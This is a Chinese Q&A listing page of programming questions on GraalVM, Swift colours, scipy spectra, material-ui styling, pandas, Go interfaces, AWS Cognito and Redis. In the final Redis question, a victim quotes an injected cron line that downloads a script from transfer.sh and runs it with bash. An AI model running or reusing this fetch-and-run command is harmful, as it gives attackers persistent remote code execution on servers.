问题列表 - 第265575页

如何判断 Java 程序是否在 GraalVM AOT 上下文中运行?

我有一个小 Java 程序。我使用 Graal 构建了一个二进制文件native-image(即 GraalVM AOT 又名 SubstrateVM)。

我的程序可以使用 Java 运行时或本地映像二进制文件执行。判断我正在运行的上下文的最佳方法是什么?

(一般来说,这可能是一种不好的做法,但我相信在某些并不少见的情况下这是不可避免的/必要的。)

graalvm

5
推荐指数
2
解决办法
579
查看次数

如何在 Swift 中将 UIColor 转换为 3/4/6/8 位十六进制字符串?

如何在 Swift 中将 UIColor 转换为 3/4/6/8 位的十六进制字符串?

我如何获得一个特定的?例如,通过调用获取“#0000FFFF”UIColor.blue.eightDigitsString

请看这个

5.2. RGB 十六进制表示法:#RRGGBB

CSS 十六进制颜色表示法允许通过将通道指定为十六进制数来指定颜色,这类似于通常直接在计算机代码中编写颜色的方式。它也比用 rgb() 表示法写出相同的颜色更短。

a 的语法是一个 <hash-token> 标记,其值由 3、4、6 或 8 个十六进制数字组成。换句话说,十六进制颜色被写成一个散列字符“#”,后跟一些数字 0-9 或字母 af(字母的大小写无关紧要 - #00ff00 与 #00FF00 相同)。

给定的十六进制数字数决定了如何将十六进制表示法解码为 RGB 颜色:

6 位数字
第一对数字,解释为十六进制数,指定颜色的红色通道,其中 00 表示最小值,ff(十进制 255)表示最大值。以相同方式解释的下一对数字指定绿色通道,最后一对指定蓝色通道。颜色的 Alpha 通道是完全不透明的。换句话说,#00ff00 表示与 rgb(0 255 0)(柠檬绿)相同的颜色。

8 位数字
前 6 位数字的解释与 6 位数字表示法相同。最后一对数字,解释为十六进制数,指定颜色的 alpha 通道,其中 00 表示完全透明的颜色,ff 表示完全不透明的颜色。换句话说,#0000ffcc 表示与 rgb(0 0 100% / 80%)(略透明的蓝色)相同的颜色。

3 位数字
这是 6 位数字符号的较短变体。第一个数字,解释为十六进制数,指定颜色的红色通道,其中 0 表示最小值,f 表示最大值。接下来的两位数字以相同的方式分别代表绿色和蓝色通道。颜色的 Alpha 通道是完全不透明的。这种语法通常被解释为与通过“复制”所有数字获得的 6 位符号相同。例如,符号#123 …

uicolor ios swift

3
推荐指数
1
解决办法
3319
查看次数

Scipy welch和MATLAB pwelch没有提供相同的答案

我在使用名为welch(https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.signal.welch.html)的scipy.signal方法在python中遇到了麻烦.时间信号的频谱,因为它没有(根本)提供与MATLAB的方法相同的输出,称为pwelch,给定相同的参数(窗口大小,重叠等).Beneath是我在每种语言中的代码,输入文件和输出文件在这里的链接:

https://www.dropbox.com/s/2ch36phbbmjfhqg/inputs_outputs.zip?dl=0

输入是2D阵列,行是时间步长,每列是信号段.输出中的列是输入中相应列的光谱.

蟒蛇:

import numpy as np
from scipy.signal import welch, get_window
input = np.genfromtxt('python_input.csv', delimiter=',')
fs = 128

window = get_window('hamming', fs*1)
ff,yy = welch(input, fs=fs, window = window, noverlap = fs/2, nfft=fs*2, 
axis=0, scaling="density", detrend=False)
np.savetxt("python_spectrum.csv", 10*np.log10(yy), delimiter=",")
Run Code Online (Sandbox Code Playgroud)

MATLAB:

input       = csvread('matlab_input.csv');
fs          = 128
win         = hamming(fs);
[pxx,f]     = pwelch(input ,win,[],[],fs,'psd');
csvwrite('matlab_spectrum.csv',pxx);
Run Code Online (Sandbox Code Playgroud)

我怀疑scipy是问题所在,因为它的输出在反映我使用的滤波器(4阶的butterworth带通0.3至35 Hz with filtfilt)方面没有意义 - 然而,MATLAB的输出:

每个方法在MATLAB中使用imagesc输出

这里有一些元素差异的图表

元素差异(y轴应为0-64!)(第三个图我排除了最极端的值)

我确实试过一个简单的正弦曲线,它在两种编程语言中都运行良好 - 所以我完全迷失了.

python matlab scipy

7
推荐指数
1
解决办法
393
查看次数

如何在样式化组件内禁用material-ui按钮的悬停效果

我添加了css悬停属性来禁用按钮的悬停效果,但它似乎对我的情况不起作用,我该如何解决这个问题?

import Button from 'material-ui/Button'
import styled from 'styled-components'

const StyledButton = styled(Button)`
  &:hover {
    background: none;
  }
`
export const SubmitButton = ({ onClick }) => {
  return (
    <StyledButton
      variant="raised"
      onClick={onClick}>
      login
    </StyledButton>
  )
}
Run Code Online (Sandbox Code Playgroud)

css hover reactjs material-ui styled-components

13
推荐指数
4
解决办法
1万
查看次数

Pandas - drop_duplicates具有多个条件

我有一个数据集,我想根据某些条件删除重复项.

例如,假设我有一张桌子

ID  date    group
3001    2010    DCM
3001    2012    NII
3001    2012    DCM
Run Code Online (Sandbox Code Playgroud)

我想说看ID列中的相似ID,如果两个日期相似,则保持该组为NII的行

所以它会成为

ID  date    group
3001    2010    DCM
3001    2012    NII
Run Code Online (Sandbox Code Playgroud)

python duplicates dataframe pandas

2
推荐指数
2
解决办法
2374
查看次数

关于接口的方法实现

任何人都可以解释为什么调用a.Abs()有效吗?在我看来,'a'是*Vertex类型的变量,但*Vertex类型不实现Abs方法.

package main

import (
    "fmt"
    "math"
)

type Abser interface {
    Abs() float64
}

func main() {
    var a Abser

    v := Vertex{3, 4}
    a = &v // a *Vertex implements Abser
    // In the following line, v is a *Vertex (not Vertex)
    // and does NOT implement Abser, but why does this calling work?
    fmt.Println(a.Abs())

}

type Vertex struct {
    X, Y float64
}

func (v Vertex) Abs() float64 {
    return math.Sqrt(v.X*v.X + v.Y*v.Y)
}
Run Code Online (Sandbox Code Playgroud)

go

0
推荐指数
1
解决办法
41
查看次数

将列表的列分解为多列

我有一个 pandas 系列,其中包含每个元素的数组,如下所示:

0            [0, 0]
1          [12, 15]
2          [43, 45]
3           [9, 10]
4            [0, 0]
5            [3, 3]
6            [0, 0]
7            [0, 0]
8            [0, 0]
9            [3, 3]
10           [2, 2]
Run Code Online (Sandbox Code Playgroud)

我想提取所有第一个元素,将它们放入另一个系列或列表中,并对第二个元素执行相同的操作。我尝试过使用正则表达式:

mySeries.str.extract(r'\[(\d+), (\d+)\]', expand=True)
Run Code Online (Sandbox Code Playgroud)

还有分裂:

mySeries.str.split(', ').tolist())
Run Code Online (Sandbox Code Playgroud)

两者都给出nan值。我究竟做错了什么?

python list dataframe pandas

5
推荐指数
1
解决办法
2416
查看次数

AWS Cognito; hit/oauth2/token时发生unauthorized_client错误

迄今采取的步骤:

  • 在cognito中设置新的用户池
  • 生成一个没有秘密的应用客户端; 我们称之为iduser_pool_client_id
  • 在用户池客户端设置下,user_pool_client_id选中"Cognito User Pool"框,添加https://localhost为回调并注销URL,选中"授权代码授予","隐式授权"以及"允许的OAuth范围"下的所有内容
  • 创建域名; 我们称之为user_pool_domain

使用用户名/密码创建新用户

现在,我可以成功地去:

https://{{user_pool_domain}}.auth.us-east-2.amazoncognito.com/oauth2/authorize?response_type=code&client_id={{user_pool_client_id}}&redirect_uri=https%3A%2F%2Flocalhost

这为我提供了一个登录页面,我能够以我的用户身份登录,返回给我 https://localhost/?code={{code_uuid}}

然后我尝试以下方法: curl -X POST https://{{user_pool_domain}}.auth.us-east-2.amazoncognito.com/oauth2/token -H 'Content-Type: application/x-www-form-urlencoded' -d 'grant_type=authorization_code&redirect_uri=https%3A%2F%2Flocalhost&code={{code_uuid}}&client_id={{user_pool_client_id}}'

但是,这只会返回以下内容: {"error":"unauthorized_client"}

令牌端点文档说,unauthorized_client是因为"不允许客户端代码授予流或刷新令牌." 这是令人困惑的,因为我检查了允许客户端使用代码授权流程的框.

authentication oauth amazon-web-services oauth-2.0 amazon-cognito

11
推荐指数
2
解决办法
5450
查看次数

为什么不能在JObject上使用LINQ方法?

Newtonsoft.Json.Linq.JObject实现IEnumerable<T>,而不是显式实现,但为什么不能这样做:

using System.Linq;
...
var jobj = new JObject();
var xxx = jobj.Select(x => x); //error
foreach(var x in jobj) { } //no error
Run Code Online (Sandbox Code Playgroud)

为什么?谢谢.

.net c# linq json.net

5
推荐指数
1
解决办法
187
查看次数

我的Redis自动生成密钥

我不知道我的Redis版本4.0.9到底发生了什么.

我正在运行一个应用程序并使用Redis来存储我的数据库.

但是,然后Redis自动创建3个新密钥:"Backup1","Backup2","Backup3"并删除我的所有数据.这是我的redis的屏幕截图:https://snag.gy/cyUZrg.jpg

顺便说一下,"Backup1"键的值是:

"\t\n*/2 * * * * curl -s https://transfer.sh/14lJBL/tmp.OiYASvlZ0v > .cmd && bash .cmd\n\t"
Run Code Online (Sandbox Code Playgroud)

非常感谢.

更新:

我发现这是Redis的持久性功能.我试图设置save "",appendonly no但似乎不起作用.我的Redis持久性配置.

多谢你们.

ubuntu redis

0
推荐指数
1
解决办法
436
查看次数